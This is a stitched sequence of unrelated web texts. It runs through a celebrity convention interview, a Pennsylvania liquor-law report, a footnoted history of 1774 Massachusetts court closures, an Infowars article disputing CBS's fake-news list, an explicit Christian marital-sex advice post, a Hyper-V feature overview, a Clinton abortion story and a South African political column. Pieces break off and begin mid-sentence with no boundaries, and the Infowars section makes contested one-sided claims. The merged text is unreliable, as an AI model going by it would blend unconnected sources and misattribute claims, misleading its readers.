Nerds and Beyond: What drew you to the role of Griff in The Evil Gene – was it the story, the character, etc.?
Richard: Both. For an indie film, it was tackling some very challenging issues, both from a social perspective and from a filmmaking perspective. I liked that a lot. The script was clever and had a point. And Griff is a complex man trying to navigate an even more complex world. That made him an exciting character to inhabit.
Nerds and Beyond: You are often the host of the Supernatural conventions. What’s your favorite part about hosting and attending those conventions?
Richard: Being with my buddies on the road. I count Rob Benedict, Matt Cohen, the boys in the band Louden Swain, and many other folks on the con tour as my really good friends. Together, we’ve crafted the world we all now work in, and we get to travel from town to town to bring fun to people and enjoy the fruits of our labor. The audiences are happy, we’re happy. It’s freakin’ Disneyland, only powered by Satan.
Nerds and Beyond: There’s rumors that you’re going to direct two episodes in Supernatural this upcoming season. You’ve directed Supernatural in the past. What’s your favorite thing about being back on set and behind the camera?
Richard: Working with that crew. I’ve directed one episode of TV. They’ve made close to 300. Every day on that set is like going to film school with the coolest, smartest, nicest, and funniest people you know. Directing “Supernatural” is an unbelievably challenging job that is made unbelievably fun by the folks with whom I get to work and from whom I get to learn.
Nerds and Beyond: Kings of Con is supposed to come out soon. Is there anything you can share with us or perhaps something you’re excited for fans to see?
Richard: I’m excited for them to se the whole thing! Fellow “Supernatural” alumn Rob Benedict and I have been working like crazy people on this show for a long time and are super proud of it. For those who don’t know, “Kings of Con” is a single camera comedy series set behind the scenes at fan conventions, where the craziest people in the room are always the actors paid to be there. I co-created, co-wrote and star in it with Rob. It launches this November on a new premium digital network powered by Lionsgate and Comic-Con called Comic-Con HQ (go to https://www.comic-conhq.com – or just download the Comic-Con HQ app). It’s a comedy for anyone who loves comedy, whether they’ve been to a convention or not. So go get the app and watch!A liquor reform bill that would legalize grocery store wine sales has passed the Pennsylvania House of Representatives. Under the bill, which passed Tuesday, state liquor stores will not be restricted from selling on Sundays, and grocery stores that currently sell beer will now be able to offer up to four bottles of wine for takeout, PennLive.com reports.
House Bill 1690 already passed the senate and is headed to the governor's desk, Gov. Tom Wolf confirmed.
Wolf, who in a statement called the legislation "historic," said he would conduct a "final review" of the bill when it arrives at his desk.
"My goal is to modernize the sale of liquor and beer in Pennsylvania to ensure convenience and satisfaction for customers. Once the bill reaches my desk, I will conduct a final review of the legislation to ensure it meets my goals of enhancing the customer experience, increasing much-needed revenue to help balance our budget, and bringing our wine and spirits system into the 21st century," the governor said in a statement.
According to Pennlive.com, the bill will do the following:
Lift restrictions on hours, state-mandated holidays or Sunday operation of state liquor stores
Allow for loyalty programs and coupons at state stores
Enable flexible pricing to allow state stores to offer special discounts and sales
Allow restaurants and hotels with licenses to sell up to four bottles of wine for takeout.
Grocery stores that currently sell beer will be permitted to sell up to four bottles of wine for takeout.
Casinos can sell beer, liquor and wine 24 hours a day. Liquor can be consumed off the gaming floor.
Casinos can offer free alcoholic bevarages at invitation-only eventsPeter Oliver, the Crown-appointed Chief Justice of provincial Massachusetts, knew how to discredit popular protest. Mindless and incapable of acting on their own, crowds that opposed British imperial policies “were like the Mobility of all Countries, perfect Machines, wound up by any Hand who might first take the Winch.” They needed a director who could “fabricate the Structure of Rebellion from a single straw.”[1] Without ringleaders or rabble-rousers, the masses would remain inert.
To this day, country crowds in Revolutionary Massachusetts are often viewed this way. One recent account of the 1774 popular actions in rural Massachusetts puts it this way: “Radical leaders drew forth the mobs. In the nether parts of the province, armed mobs utterly refused to allow the courts to open.”[2] Unwittingly, this reflects the old Tory view of revolutionary dynamics: so-called “mobs” do not act on their own volition but must be aroused by politically astute leaders.
Such portrayals skew our narratives of the American Revolution. Rebellious colonies were overwhelmingly rural—in Massachusetts, ninety-five percent of the people lived outside of Boston. To understand how that province cast off British rule, we need to take a closer look at crowd actions in the hinterlands. Who were those people whom leaders supposedly “drew forth”? How did they organize, and what, exactly, did they do?
MILITIA
Let’s start with the largest gatherings, which closed the courts in the shiretowns, or county seats, throughout Massachusetts. On September 6, 1774, in the town of Worcester, 4,622 militiamen from 37 companies throughout the county closed the Court of Common Pleas and the Court of General Sessions.[3] That was the date these courts were first slated to convene under the newly enacted Massachusetts Government Act, which overturned democratic safeguards guaranteed by the 1691 Massachusetts Charter.
A broad range of citizens, not just a handful of “radical leaders,” had been planning for this event. First, they armed. On July 4, 1774, in the town of Worcester, the American Political Society, which included about one-quarter of the enfranchised citizenry, declared “that each, and every, member of our Society, be forth with provided, with two pounds of gun powder each 12 flints and led answerable thereunto.”[4] Then, on August 9, fifty-one members of the Committees of Correspondence from twenty-two towns in Worcester County met for two days to discuss “wise, prudent, and spirited measures … to prevent the execution of those most alarming acts of parliament, respecting our constitution.”[5]
One week later, citizens from Berkshire County closed their county courts, setting a precedent that Worcester and other counties would soon follow. On August 30, when the Worcester County Committees of Correspondence convened once again, 130 delegates attended. This assemblage “recommended to the inhabitants of this county to attend, in person,” the forthcoming court sessions “in order to prevent the execution of the late act of parliament.” Further, it recommended that each attendee “purchase at least two pounds of powder in addition to any he may have on hand” and to “use all his exertions to supply his neighbors fully.”[6] Word had spread that Thomas Gage, military governor of the province, was planning to send troops to Worcester to protect the courts. An armed confrontation seemed possible, even likely.
With stakes this high, delegates to the convention worried that some stray shot might set off a conflagration. “It is recommended to the several towns, that they choose proper and suitable officers, and a sufficient number, to regulate the movements of each town, and prevent any disorder which might otherwise happen; and that it is enjoined on the inhabitants of each respective town, that they adhere strictly to the orders and directions of the officers.”[7] People were to act as soldiers, not as an unwieldy mob.
But on September 2, as tens of thousands mustered in response to rumors that British soldiers had set Boston ablaze, Governor Gage had a change of heart. He instructed Lord Dartmouth, secretary of state for the colonies, that although he had intended “to send a Body of Troops to Worcester, to protect the Courts there,” he would not in fact dispatch any troops. “Disturbance being so general, and not confined to any particular Spot,” he did not know “where to send them to be of Use.” Sending soldiers to quell every “disturbance” would require “dividing them in small Detachments, and tempt Numbers to fall upon them, which was reported to be the Scheme of the Directors of these Operations.”[8] (Note the Tory perspective: “Directors” had a “Scheme,” while the people themselves were mere pawns.)
When the American Political Society learned that Gage would not be sending troops, it resolved “not to bring our fire-arms into town the 6 day of Sept.”[9] Guns were no longer necessary, and a chance firing could taint the day’s events. Only a few companies, coming from afar and ignorant of the new policy, arrived with weapons.
The militiamen’s mood, formerly tense, turned festive and triumphant. Attention turned to staging the court closure in a dramatic fashion that colonials favored. But who would write the script and direct the action? A few ringleaders or the “body of the people,” as they said in those days?
In Boston, “the body of the people” assembled in a one sizeable, group. Here “the body” was a composite of thirty-seven discrete militia companies, the military embodiments of each town’s citizenry. This arrangement complicated the proceedings. Each company chose a special representative, distinct from the military captain it had already elected, “to wait on the judges.” This ad hoc committee then met with the court officials, who had retreated to Daniel Heywood’s tavern after being barred from the courthouse. The committee and the officials hammered out the terms of surrender: a formal statement that Breck Parkman, a participant, characterized as “a paper... signifying that they would endeavor &c.” The draft was then taken back to the separate companies, to be approved or rejected. As it turned out, militiamen determined that the judges’ statement was no more than an empty promise—in Parkman’s words, it “was not satisfying.” Representatives then returned to Heywood’s tavern to devise a stringent, binding contract. The process was democratic but cumbersome and time-consuming, and when some militiamen grew impatient, the Committees of Correspondence appointed three men to inquire about the delay.[10]
Finally, in the mid-afternoon, militia companies formed along both sides of Main Street. The lines stretched for a quarter-mile, Uxbridge in front of the courthouse, Westborough next, and so on, down to Upton and Templeton, stationed outside Heywood’s tavern.[11] When all were in place, two dozen court officials—judges, justices of the peace, court attorneys, and any whose power had been sanctioned by the Crown—emerged from the tavern. Hat in hand to signal deference, each official recited his formal recantation to the first militia company. But other militiamen could not hear, so each official then made his way through the gauntlet, repeating his recantation over thirty times. They all pledged “that all judicial proceeding be stayed... on account of the unconstitutional act of Parliament... which, if effected, will reduce the inhabitants to mere arbitrary power.”[12]
MOBS
In addition to closing the courts, the Massachusetts citizenry went after the thirty-six men whom the Crown had just appointed to the Council, taking the place of elected council members. One-by-one, each councilor was confronted by inhabitants of his town and told to resign. Those who refused, faced with their neighbors’ wrath, were forced to leave home.
Returning home to Plymouth after taking his oath for the Council, George Watson unsuspectingly attended church. The Boston Evening-Post reported what happened there:
When he came into the House of publick Worship, a great number of the principal Inhabitants of that Town left the Meeting-House immediately upon his entering it; ‘being determined not to worship in fellowship with one, who has sworn to support that change of our constitution, which professedly establishes despotism among us.’[13]
Watson got the message and agreed to resign. He presented his reasons in a letter to Governor Gage:
By my accepting of this Appointment, I find that I have rendered myself very obnoxious, not only to the inhabitants of this place, but also to those of the neighboring towns. On my business as a Merchant I depend, for the support of myself and Family, and of this I must be intirely deprived, in short, I am reduced to the alternative of resigning my Seat at the Council Board, or quitting this, the place of my Nativity, which will be attended with the most fatal Consequences to myself, and family.[14]
When Josiah Edson, another councilor, went to church after taking his oath, his fellow parishioners in Bridgewater did not “even deign to sing ye psalm after his reading it, being deacon of the parish.” That was ultimatum enough, and Edson, refusing to resign, departed for the protection of British troops in Boston, a safe haven for those who no longer dared to live among their own townsmen.[15]
Those who neither resigned nor departed were treated harshly. Joshua Loring of Roxbury was awakened at midnight by “five men disguised, their faces black’d, hatts flap’d, and with cutlasses in their hands.”[16] Timothy Ruggles of Hardwick, fearing what might happen if he returned home after taking his oath, sought refuge with a friend in Dartmouth, one hundred miles away— but he could not escape so easily. There, his prize horse “had his Mane and Tail cut off, and his Body painted all over.”[17]
After taking his oath, Abijah Willard of Lancaster journeyed to Union, Connecticut, to avoid his angry neighbors. Yet Union’s patriots seized him, tossed him in jail for a night, and then returned him to Brimfield, Massachusetts, just over the border. He was placed in the hands of four hundred local citizens who “called a Council of themselves, and Condemned Colonel Willard to Newgate Prison, in Symsbury; and a number set off and carried him six miles on the way thither.”[18] Finally, once he agreed to resign, Willard was set free.
Yes, these were “mobs,” but like the militia companies in Worcester, they were not under the command of alleged leaders. Willard’s tormentors “called a Council of themselves” to determine his fate, and this was common. When Berkshire County’s David Ingersoll was seized by a mob, participants took “Several votes one way or another” before deciding in the end to release him.[19] In Braintree, Abigail Adams witnessed an out-of-doors “council” from her window. A troupe of about two hundred men, having forced the sheriff to burn two warrants he was attempting to deliver, wanted to shout “huzzah”—but alas, it was the Lord’s Day. Should they or should they not disturb the Sabbath? “They call’d a vote,” Abigail reported to her husband John, and “it being Sunday evening it passed in the negative.”[20]
Such behavior should come as no surprise. Democratic principles served as a foundation for communitarian life in New England, even in times of heated protest. But the Massachusetts Revolution of 1774, although truly democratic, did not resemble the liberal democracy we think of today, in which rights of unpopular minorities are legally protected. It was a less refined majoritarian form of democracy, in which crowds had their way in any manner. When Jesse Dunbar purchased some “fat Cattle” for resale from Nathaniel Ray Thomas, a Crown-appointed councilor from Marshfield, a crowd skinned and gutted one of the carcasses, placed Dunbar inside the belly, and carted him from one town to the next as local citizens hurled mud or tripe at his face.[21] Shaming was the name of the game. Outright violence was rare, although the threat of violence was omnipresent. Few Tories were actually tarred and feathered—but only because the mere presence of a bucket of tar generally sufficed to produce submission.
More often than not, even acts of intimidation were considered affairs. A crowd deliberated before an event and during it, holding what was in effect a mobile town meeting. Why is it so difficult to imagine that people in the hinterlands of Massachusetts, rehearsed in the practice of democracy for over a century, might rise up on their own when disenfranchised by Parliament—without being under the command of a few alleged ringleaders?
The problem stems, in part, from the implicit acceptance of an urban-centered model for revolutionary dynamics. In Boston, forceful individuals pushed their agendas through the press and public oratory. Witness John Adams’s iconic remark: “The evening spent in preparing for the next day’s newspaper,–a curious employment, cooking up paragraphs, articles, occurrences, &c., working the political engine!”[22] Even at mass meetings, prominent speakers commanded the podium while ordinary folks huzzahed or hooted them down. Conveniently, such venues have allowed historians to trace revolutionary politics through detailed newspaper accounts and the extant writings of “key” individuals who spoke at crowd gatherings.
In Massachusetts townships outside of Boston, the venues of political life were quite different: regularly scheduled town meetings, militia training days, and quarterly sessions of the courts, as well as informal encounters in public houses or other community hubs such as blacksmiths shops.[23] Many political interactions transpired orally, leaving historians out of the loop, but we do have some records. To understand the “engines” of revolution in rural Massachusetts, we look not only at the scanty press reports in Boston papers but also at the minutes of town meetings, often buried in basements of town halls; the journals of the Committees of Correspondence county conventions; and of course personal accounts of the multifarious confrontations that comprised this ubiquitous uprising. The sweeping social movement that transformed the political landscape in the fall of 1774—and set the stage for military conflict the following spring—was truly a group effort. We struggle with how to narrate this people’s revolution, which was to a large extent anonymous. Traditional trickle-down narratives, in which a few alleged leaders drive the agenda, or dismissive accounts of mindless “mobs,” will never suffice.
[1] Peter Oliver, Origin and Progress of the American Rebellion, eds. Douglass Adair and John A. Schutz (Stanford: Stanford University Press, 1961), 65, 75.
[2] Derek Beck, Igniting the American Revolution (Naperville, IL: Sourcebooks, 2015), 40-41.
[3] Ebenezer Parkman, Diary, September 6 and 7, 1774, American Antiquarian Society. The diary can be accessed at: http://rayraphael.com/documents_2/parkman_diary.htm
[4] American Political Society, Minutes, American Antiquarian Society. This can be accessed at http://gigi.mwa.org/netpub/server.np?quickfind=271132&sorton=filename&catalog=catalog&site=manuscripts&template=results.np
[5] The Journals of Each Provincial Congress of Massachusetts in 1774 and 1775, and of the Committee of Safety, with an Appendix, containing the Proceedings of the County Conventions, ed. William Lincoln (Boston: Dutton and Wentworth, 1838), 628, 631. This can be accessed at https://archive.org/details/journalsofeachprma00mass
[6] Lincoln, Proceedings of the County Conventions, 632, 634.
[7] Lincoln, Proceedings of the County Conventions, 632-3.
[8] Gage to Dartmouth, September 2, 1774, The Correspondence of General Thomas Gage, 1763-1775, Clarence E. Carter, ed. (New Haven: Yale University Press, 1931-3), 1: 370.
[9] American Political Society, Minutes; Parkman, Diary. Parkman reported that “a few companys had arms,” and according to a second-hand account from an anonymous Tory, “about one thousand of them had fire-arms.” Boston’s Weekly News-Letter, February 23, 1775, and New York’s Rivington’s Gazette, March 9, 1775.
[10] Parkman, Diary; Lincoln, Proceedings of the County Conventions, 635–637.
[11] The order of formation comes from Parkman’s diary.
[12] Parkman, Diary; Lincoln, Proceedings of the County Conventions, 637. A detailed narrative of the day’s proceedings appears in Ray Raphael, The First American Revolution: Before Lexington and Concord (New York: The New Press, 2002), 130-38.
[13] Boston Evening-Post, August 29, 1774.
[14] George Watson to Gage, August 30, 1774, in L. Kinvin Wroth, ed., Province in Rebellion: A Documentary History of the Founding of the Commonwealth of Massachusetts, 1774-1775 (Cambridge: Harvard University Press, 1975), 533. Watson’s public resignation appears in the Massachusetts Spy, September 22, 1774.
[15] Andrews to Barrell, August 31, 1774, in “Letters of John Andrews of Boston, 1772-1776,” Massachusetts Historical Society, Proceedings, 8 (1864-1865), 349–350; see also Boston Evening-Post, August 29.
[16] Joshua Loring to Thomas Gage, August 31, 1774, in Wroth, Province in Rebellion, 537–538.
[17] Boston Evening-Post, August 29, 1774.
[18] Dispatch from New London, September 2, 1774, in St. Clair Clarke and Peter Force, American Archives, 4th series, 1:731; Declaration of Abijah Willard, August 25, 1774, in Wroth, Province in Rebellion, 527–528.
[19] Clarke and Force, American Archives, 4th series, 1:731; Declaration of David Ingersoll, in Wroth, Province in Rebellion, 606–609.
[20] Abigail Adams to John Adams, September 14, 1774, Adams Family Correspondence, L. H. Butterfield, ed. (Cambridge: Belknap Press, 1963), 1:152.
[21] Clarke and Force, American Archives, 4th series, 1:1260–61.
[22] John Adams, Diary, September 2, 1769, The Works of John Adams, ed. Charles Francis Adams (Boston: Charles C. Little and James Brown, 1850), 2:219.
[23] For the blacksmith shops as political hubs, see Ray Raphael, “Blacksmith Timothy Bigelow and the Massachusetts Revolution of 1774,” in Revolutionary Founders: Rebels, Radicals, and Reformers in the Making of the Nation, eds. Alfred F. Young, Gary B. Nash, and Ray Raphael (New York: Alfred A, Knopf, 211), 35-52.In a slideshow piece entitled Don’t get fooled by these fake news sites, CBS News – the network that brought you Rathergate and Saddam Hussein’s non-existent weapons of mass destruction – lists Infowars.com as a fake news website.
“The site is connected to Alex Jones, a radio host and conspiracy theorist who has alleged the Sandy Hook school shooting was a hoax,” states the blurb accompanying a screenshot of Infowars.
In reality, Jones put out a video in which he made it clear that he didn’t think the Sandy Hook shooting was a “hoax”.
The other fake news websites listed in the same category as Infowars include ones like Real News Right Now, which admits on its own “about” stage that all stories on the site are “satire”.
Also listed is The National Report, which contains a disclaimer on its site that reads, “All news articles contained within National Report are fiction, and presumably fake news.”
Also included is the Onion, which is the most well known satirical news website on the Internet.
CBS News is effectively blacklisting Infowars by including it amongst websites which are known to be or admitted to be fake news outlets.
This is ironic given that CBS is notorious itself for spreading fake news.
In 2004, CBS’ 60 Minutes produced documents critical of President George W. Bush’s service in the Air National Guard in 1972–73. Despite heavily pushing the story, the documents turned out to be complete forgeries and the scandal was so embarrassing that it forced veteran news anchor Dan Rather to resign months later.
CBS News also dutifully spread the fake news before the invasion of Iraq that Saddam Hussein had mobile biological weapons labs, a story that turned out to be a completely contrived claim from a notoriously unreliable source.
The difference between fake stories spread by admittedly fake news websites and CBS’ Iraq war propaganda is that CBS helped sell a war that killed hundreds of thousands of Iraqis, thousands of U.S. troops, and ruined a continent.
Whatever inaccuracies Infowars has unknowingly published over the course of 15+ years, not a single one has led to mass slaughter and humanitarian catastrophe – unlike the mainstream media’s fake news.
As we previously highlighted, the lists of “fake news websites” being circulated by the mainstream media have been completely debunked.
The first list was created by a radical leftist social justice warrior who had a clear political bias, while the second list was created by a shadowy group and included even left-wing news outlets that were critical of Hillary Clinton. An article written by Glenn Greenwald completely eviscerated the credibility behind the second list, expressing bewilderment as to why mainstream media outlets were using it.
SUBSCRIBE on YouTube:
Follow on Twitter: Follow @PrisonPlanet
Facebook: https://www.facebook.com/paul.j.watson.71
*********************
Paul Joseph Watson is the editor at large of Infowars.com and Prison Planet.com.So, anyway, I was cruising through my email in-box the other day, mindlessly deleting all the spam for penis enlargement pills, when it occurred to me that this obsession with penis size is just plain ridiculous.
Sure, there is a lot we need to know about the penis, but making it bigger is definitely not one of those things.
Sadly, ads for penis enlargement are perpetuated endlessly, despite common sense rationale that such ads aren’t going to lead to anything — except an empty wallet.
Yes, on that end of the spectrum, we are inundated with ludicrous sexual claims through spammy emails.
On the other end of the spectrum, though, is something more damaging — many wives know very little about their husband’s penis (and have no desire to learn more).
Woman to woman, I acknowledge that many of you reading this are just plain grossed out by the penis. And it’s probably not just the male genitals, but the genital region in general — male and female — with which you are not overly enthralled.
Obviously, having a positive perspective about the genitals can be a particular challenge for Christians, as we hold modesty in high regard. I, like many Christians, do not take modesty lightly. It pains me greatly that our landscape (Christian and secular) is scattered with scantily dressed young people, who (despite the best efforts of many of their mothers) succumb to the latest risqué styles because so little else is available.
I also am not thrilled that sexual promiscuity has become so mainstream that it is increasingly difficult to discern what authentic sexual intimacy even is (let alone how to experience it within our marriage bed).
Add to this the pervasiveness of pornographic images in our society, and it is no wonder that the beauty of sex, including the genitals, has become tainted. When it comes to the penis, I get why we have hang ups.
Even our earliest Christian conclusions compel us to associate the genitals themselves with sin and filth (Adam and Eve were naked in the garden. They sinned. They covered up their nakedness. Thus what was previously exposed — the genitals — must have been bad). This is skewed rationale, of course, but one can see some of the roots of our struggle with viewing the genitals positively.
While we certainly need to maintain high standards of modesty when carrying ourselves publicly and in the company of other people, be careful what you sacrifice on the altar of modesty.
Modesty really needs to take a backseat when exploring sexual intimacy in the exclusivity of our marriage. Not easy, I know. It’s that whole “flip the switch” thing.
As women, the “flip the switch” is a huge barrier. In public, we strive to refrain from wearing sexually revealing clothing, casually participating in sexual banter, or being flirtatious.
But then behind our closed bedroom door, we are free to embrace sexual confidence. It is when we make love with our husbands that we are free not only to thoroughly enjoy sex, but also to enjoy pleasuring the man we married. Truth is, this switch is not getting flipped in a lot of marriages.
Instead, the modesty and reservation we walk during the day wreaks havoc beneath our sheets at night.
While we can’t solve all of those dynamics in one blog post, I do think you can start to right the ship by becoming a lot more comfortable with your husband’s penis.
Here are three things you should know about your husband’s penis:
1. All sexual encounters are not created equal.
I am guessing that you probably have it down to a science as to what you need to do during intercourse to get it over with quickly. Touch him here. Do this with my hands. Kiss him this way. Allow him to enter me. Allow him to do all the work. He climaxes. Done. Same routine. Every. Single. Time. And because he climaxed, we think each and every time is stellar for him. Sure, you probably won’t find him complaining.
Possibly, though, he would like sexual encounters where you are really present — and willing to explore a full body experience.
Pay attention to his entire body. Allow him the privilege to arouse you. Show him you want to be there. As a result, what he then experiences in his penis will be intensified. To read a fabulous post on being intentional in pursuing your husband, see Lori Byerly’s post “What Husbands Want: Love Me, Love My Sexuality.”
2. There are numerous ways to touch his penis and testicles.
I know, I am getting really blunt here (trust me, your husband will appreciate it). While I hesitate to stereotype, I think it is fair to say that many husbands find it particularly arousing to have firm steady motion along the shaft of their penis, including directly under the head of the penis. This can be accomplished orally and with your hand, and to a degree by tightening your pc muscles when he is thrusting (These are the muscles you would tighten to stop your urine flow. That’s how you locate them, and you can do Kegel exercises to strengthen them. Tightening them during sex can be pleasing to him and to you).
You may also try light touch along his penis (with your breasts, the silky feel of lingerie, your fingernails, etc.). And do not neglect his testicles, which are sensitive and a key arousal zone.
Want to figure out how he likes his penis touched? Experiment |
on-premises virtual network and a Windows Azure virtual network I would use the S2S Gateway option.
Although the gateway functionality is built in to Windows Server 2012 R2, to actually implement this functionality you must use System Center Virtual Machine Manager (VMM) 2012 R2—and realistically you need VMM 2012 R2 to use network virtualization at all. It's possible to use PowerShell to configure and maintain a network virtualization environment, but the overhead in updating policy tables as VMs move between hosts and are added/deleted is terrible. I therefore don't recommend this approach.
Enhanced Linux Support with Dynamic Memory and File-Consistent Backup
Windows Server 2012 made a huge investment in Linux. Linux became a first-class operating system for Hyper-V, with nearly all Hyper-V features available to Linux users. In addition, Microsoft invested a lot of resources in the Linux core, which resulted in Hyper-V Integration Services becoming a core part of Linux rather than a separate download. However, some key features that were available to Windows users still weren't available to Linux users. Windows Server 2012 R2 reduces this gap (although a few holes still exist). Key enhancements for Linux include the following:
Improved video and mouse support, removing the double cursor that was previously common.
Dynamic Memory support to allow memory to be hot-added and removed from Linux VMs in a similar manner to how it works for Windows users.
Online backup to provide a file-consistent backup experience. This still differs from Windows, which provides an application-consistent backup capability through the Volume Shadow Copy Service (VSS) to ensure that applications have data written to disk at the time of a backup. Linux doesn’t have a consistent concept similar to VSS, which is why only file-consistent backup is possible, enabled through a file-system snapshot driver. No special action is required; you simply back up a Linux VM from the Hyper-V host through Windows Backup or a backup application such as System Center 2012 R2 Data Protection Manager.
Hyper-V isn't just for Windows workloads—it's also a great choice for Linux workloads. System Center 2012 R2 also provides support for Linux in most of its components, including Configuration Manager, Operations Manager, Virtual Machine Manager, Data Protection Manager, and Orchestrator.
One of the Leading Hypervisors
Windows Server 2012 R2 Hyper-V includes numerous new features. When you consider the changes in Hyper-V from Windows Server 2008 to Windows Server 2012 R2, the leaps in scalability and functionality are amazing for such a relatively short time period. It's no wonder that Hyper-V is one of the two leading x86 hypervisors.
Don't forget that Microsoft also offers a free version of Hyper-V Server 2012 R2. The free version is a great choice when running a pure Linux or client operating system workload such as VDI. In addition, the free version doesn't require the Windows Server guest operating system licenses that are part of Windows Server 2012 R2 Standard and Datacenter.Democratic primary front-runner Hillary Clinton ran afoul of both the pro-life and pro-choice sides of the abortion debate Sunday when she said constitutional rights do not apply to an “unborn person” or “child.”
“The unborn person doesn’t have constitutional rights,” Mrs. Clinton said on NBC’s “Meet the Press.” “Now that doesn’t mean that we don’t do everything we possibly can in the vast majority of instances to, you know, help a mother who is carrying a child and wants to make sure that child will be healthy, to have appropriate medical support.”
Mrs. Clinton also said “there is room for reasonable kinds of restrictions” on abortion during the third trimester of pregnancy.
Diana Arellano, manager of community engagement for Planned Parenthood Illinois Action, said Sunday that Mrs. Clinton’s comments undermined the cause for abortion rights.
The comment “further stigmatizes #abortion,” Ms. Arellano said in a tweet. “She calls a fetus an ‘unborn child’ & calls for later term restrictions.”
Describing the fetus as a “person” or “child” has long been anathema to the pro-choice movement, which argues the terms misleadingly imply a sense of humanity.
SEE ALSO: John Kasich: Open GOP convention would be ‘fun,’ ‘cool’
In addition, the specific term “person” is a legal concept that includes rights and statuses that the law protects, including protection of a person’s life under the laws against homicide. Pro-choice intellectuals have long said that even if an unborn child is a “life,” it is not yet a “person.”
Guidelines issued by the International Planned Parenthood Federation discourage pro-choice advocates from using terms such as “abort a child,” instead recommending “more accurate/appropriate” alternatives such as “end a pregnancy” or “have an abortion.”
“‘Abort a child’ is medically inaccurate, as the fetus is not yet a child,” the guide reads. “‘Terminate’ a pregnancy is commonly used, however some people prefer to avoid this as terminate may have negative connotations (e.g., ‘terminator or assassinate’) for some people.”
The guidebook also advises against the terms “baby,” “dead fetus,” “unborn baby” or “unborn child” when discussing what it is that’s being aborted. Instead, it recommends the terms “embryo,” “fetus” and “the pregnancy.”
“The alternatives are medically accurate terms, as the embryo or fetus is not a baby,” it explains.
The exchange with NBC’s Chuck Todd on Sunday came after Mrs. Clinton blasted Republican front-runner Donald Trump last week for saying that women should face “some form of punishment” for having abortions if they were illegal. He later reversed his statement, multiple times, after an outcry from both pro-life and pro-choice groups.
Conservatives also caught Mrs. Clinton’s words and drew implications. Commentary Editor John Podhoretz said the gaffe is comparable to those of Mr. Trump.
“This is Trump-level gaffery,” Mr. Podhoretz said in a tweet. “If you acknowledge personhood, then the unborn has every Constitutional right.”
Daily Wire Editor-in-Chief Ben Shapiro also said that Mrs. Clinton’s statement “demonstrates just how incoherent and evil the left’s abortion position is.”
Dr. Grazie Pozo Christie, policy adviser for the Catholic Association, said Mrs. Clinton’s slip reveals the difficulty of rationalizing abortion.
“Although Hillary Clinton is first and foremost a politician striving furiously for the highest office in the land, she is also a rational human being and an affectionate grandmother,” Dr. Christie said in a statement.
“Of course, no one, not even Clinton, can close their eyes to the scientific fact that a fetus is anything but a young human person, and abortion is the end of his or her short life,” she said.
Mrs. Clinton’s comments come after she implied that primary rival Bernard Sanders is insufficiently pro-choice.
“Look, I know Sen. Sanders supports a woman’s right to choose, but I also know Planned Parenthood and NARAL endorsed me because I have led on this issue,” Ms. Clinton said on Thursday.
“We need a president who is passionate about this, seeing it as a top priority because women’s health is under assault,” she continued.
On Friday, Mr. Sanders dismissed that claim, saying that he’s spent his “entire political life fighting for the right of a woman to control her own body.”
“What Secretary Clinton did is taking things out of context,” he said.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Who is to blame for South Africa's failures?
Max du Preez
What exactly has gone wrong since 1994? What was done and not done, and who did or did not do it, that has left South Africa in the mess it is in in 2016?
More to the point: in what measure should we blame our failures and threatening instability on our history before 1994 and on the white minority, and how much blame should we place on bad governance, corruption and a lack of vision by the elected governments since 1994?
I think it is important for South Africans to urgently seek answers to these questions. If we’re not brutally honest about this, the new dispensation we have to prepare now will only lead to more problems.
At the moment this debate is dominated by two extremes: everything is the fault of apartheid, white racism, white privilege and white monopoly capitalism; or of a pathetic ANC, black economic empowerment, affirmative action, corruption and cadre deployment.
'White supremacist capitalist patriarchy'
On Sunday I read in City Press that the #Fallist leader Thenjiwe Mswane had stated that “white supremacist capitalist patriarchy” lay at the base of all black South Africans’ problems.
Later on Sunday I watched two student activists on Dennis Davis’ programme, Judge for Yourself, stating more or less the same. When Davis asked why they didn’t show the same anger at the terrible education system for black youngsters (Davis called it a crime against humanity), they mumbled stuff about school education needing to be decolonised.
On Thursday last week I was part of a public debate on radicalisation where a rather shaken clergyman told us that he had just attended a reconciliation workshop where a prominent youth leader had declared that the only solution remaining was that white South Africans should be killed.
Also last week, EFF leader Julius Malema said it was his priority to “crush” white privilege. The ANC itself, under a lot of pressure before the local elections, are resorting more and more to blaming apartheid, “white capitalists” and white intransigence for all our ills.
Many in the white establishment, especially those in the AfriForum and Solidarity camps and of course the majority on social media, point the finger at “black incompetence”. Apartheid has been buried a long time ago – actually, Afrikaners and whites are the real victims now, they say.
The price that black South Africans paid
It is my impression that far too few whites really understand how centuries of colonial rule and decades of apartheid fundamentally disrupted the natural development and progression of black communities. They have no comprehension of the price that black South Africans paid for many generations’ worth of exclusion from the economy and from tertiary education. Too many whites can’t acknowledge their own privilege. Some influential right wingers like Steve Hofmeyr even declare that blacks were the real architects of apartheid.
There is a recognised phenomenon in world history that the second or third generation of an oppressed group is angrier than those who had experienced the oppression themselves. That is true of Afrikaners after the Anglo-Boer War and of Jews after the Holocaust, for example. This is now also true of young black South Africans.
A Nicaraguan-born American psychologist, Martha Cabrera, launched a “spiritual reconstruction” campaign in Nicaragua some years ago after that nation had experienced a brutal dictatorship, a civil war and several natural disasters.
She became frustrated that her team wasn’t making much progress and that people remained apathetic, aggressive, directionless, had a negative self-image and were prone to violence and crime.
Cabrera eventually found that Nicaraguans were “multiply wounded, multiply traumatised” after what they had gone through over generations and that this was the explanation for the social ills.
ANC failed to build a new nation
I have little doubt that Cabrera would have reached a similar conclusion in South Africa if she had come to work here after 1994. The impact of white domination and apartheid on black South Africans’ lives and minds won’t disappear in my lifetime.
But the ANC fully comprehended the legacies of colonialism and apartheid when they took power in 1994. Its task was exactly to build a new, vibrant nation on the ruins of apartheid where everybody would have equal opportunities and inequality would be reduced as a matter of great urgency.
The disastrous education system offered to most black youngsters over the last two decades is the most obvious example that the ANC has failed this task in dramatic fashion.
The widespread corruption, state capture, enrichment and abuse of resources that we read about every day are other pointers to the governing party’s failure. And the time for fake powerlessness in the face of a tiny minority of less than nine percent of the nation is well over.
Let’s start honestly contemplating what went wrong the last two decades. And then fix it.
- Follow Max on Twitter.
Disclaimer:
News24 encourages freedom of speech and the expression of diverse views. The views of columnists published on News24 are therefore their own and do not necessarily represent the views of News24.
* Only comments that contribute to a constructive debate will be approved by moderators.Share Nine ways for Eurosceptics to win the referendum
Nine ways for Eurosceptics to win the referendum Representative government isn’t a left or right wing concept
Representative government isn’t a left or right wing concept Britain can thrive as a merchant and maritime power
Be optimistic
